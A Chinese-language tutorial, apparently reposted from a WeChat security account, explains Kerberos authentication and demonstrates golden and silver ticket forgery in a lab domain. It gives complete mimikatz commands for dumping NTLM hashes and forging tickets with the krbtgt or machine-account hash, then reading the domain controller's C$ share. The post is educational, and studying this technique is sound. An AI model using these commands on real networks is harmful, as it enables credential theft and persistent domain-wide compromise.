转自:韭要学安全
前置知识
Kerberos是一种计算机的认证协议,在域中,依旧使用kerberos作为认证手段。他提供了一种单点登录(SSO)的方法,比如打印服务器、邮件服务器和文件服务器。这些服务器都有认证的需求,很自然的,不可能让每个服务器自己实现一套认证系统,而是提供一个中心认证服务器(AS-Authentication Server)供这些服务器使用,这样任何客户端就只需要维护一个密码就能登录所有服务器。
角色:
客户端(Client)、身份认证服务(AS)、票据授予服务(TGS)、普通服务器(Server)
金银票据攻击
黄金票据、白银票据攻击是基于kerberos认证协议的攻击方式,常用来做后渗透域控权限维持。由于用户正常访问资源是也会请求服务票证,因此黄金、白银票据攻击具备很高的隐蔽性。
在kerberos认证中,主要解决两个问题
第一个问题:如何证明你本人是XXX用户的问题。(身份问题,黄金票据所在的问题,AS负责)
第二个问题:提供服务的服务器如何知道你有权限访问它提供的服务。当一个Client去访问Server服务器上的服务时,Server如何判断Client是否有权限来访问自己主机上的服务。(白银票据所在的问题,TGS负责)
Kerberos协议认证流程
Kerberos协议的基本流程是Client先通过AS(身份认证服务)进行身份认证,认证通过后AS会给Client一个TGT(票据授权票),Client将获取到的TGT发送到TGS(票据授予服务)进行身份验证,验证通过后TGS会给Client一个ST(服务票据),Client通过这个ST去访问指定Server上的服务。
伪造黄金票据
在kerberos认证中,Client通过AS认证后,AS会给Client一个TGT,而TGT是通过域控服务器上krbtgt账户的Hash进行加密的,所以只有得到krbtgt的Hash,就可以伪造TGT来进入下一步Client与TGS的交互。而在有了黄金票据后,就跳过AS验证,不用验证账户和密码,所以也不担心域管来修改密码。意思就是,当攻击者能够获得krbtgt的Hash后,攻击者就可以伪造一张票据授权票,去伪造成域内的任意用户访问域内kerberos认证的所有服务。
下面是黄金票据演示(虚拟机实验环境演示,切勿带入实战):
环境:
域控windows server 2012 ip:192.168.4.136
域内主机 win7 (伪造方)ip:192.168.4.138
域 feng.com
下面是域控上操作
权限维持krbtgt权限
以管理员运行mimikatz
下面是win7操作
dir \\WIN-T09MBKM9HIT.feng.com\c$
然后正常运行mimikatz
kerberos::golden /user:administrator /domain:feng.com /sid:S-1-5-21-2149019885-2061172686-904760113 /krbtgt:d0bea82cce69a2090f7309c418df2df2 /ptt
dir \\WIN-T09MBKM9HIT.feng.com\c$
拿到票据能读c盘,然后用psexec直接连
成功了。。。
要进行下一个白银票据实验记得删除票据,执行klist purge就行
下面附上黄金票据演示视频:
伪造白银票据
黄金票据攻击是伪造TGT,白银票据攻击是伪造ST,在kerberos认证协议的第三步,Client带着ST向Server上的某个服务进行请求,Server接收Client的请求,验证通过后允许Client使用Server上的指定服务。所以只要有了服务器管理员账户的Hash,就能跳过向TGS请求ST的过程,可以直接伪造ST使用Server上的服务。
下面是白银票据演示(虚拟机实验环境演示,切勿带入实战):
环境:
域控windows server 2012 ip:192.168.4.136 (这里假设他是域内普通机器)
域内主机 win7 ip:192.168.4.138 (这里是伪造者)
利⽤mimikatz抓取win2012的NTLM哈希以及域的SID
privilege::debug
sekurlsa::logonpasswords
WIN-T09MBKM9HIT$
WIN-T09MBKM9HIT.feng.com
NTLM : f7aaded48413c8b1a4e9d8eae18309fe
Sid是:S-1-5-21-2149019885-2061172686-904760113
在win7上⽤mimikatz
查看当前已有票据:kerberos::list
或者cmd命令⾏:klist
清除已有当前所有票据:kerberos::purge
生成票据
kerberos::golden /domain:feng.com /sid:S-1-5-21-2149019885-2061172686-904760113 /target:WIN-T09MBKM9HIT.feng.com /service:cifs /rc4:f7aaded48413c8b1a4e9d8eae18309fe /user:administrator /ptt
最后用cmd访问cifs服务
dir \\WIN-T09MBKM9HIT.feng.com\c$
成功了。。最后可以和上面黄金票据实验一样执行klist purge删除票据。
下面附上白银票据演示视频:
黄金票据和白银票据的区别
1.访问权限不同
黄金票据:伪造票据授权票(TGT),可以获取任何kerberos服务权限。
白银票据:伪造服务票据,只能访问指定的服务。
2.加密方式不同
黄金票据:由krbtgt的NTLM Hash加密。
白银票据:由服务账号(通胀为计算机账户)的NTLM Hash加密。
3.认证流程不同
黄金票据:利用过程需要访问域控。
白银票据:不需要访问域控。
文章内容为个人笔记,部分内容为网上复制粘贴的,如有雷同或侵权,可以公众号联系我删除文章。
文章仅供学习参考,过程也是利用本地虚拟机演示,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者和本公众号无关。
学习更多技术,关注我: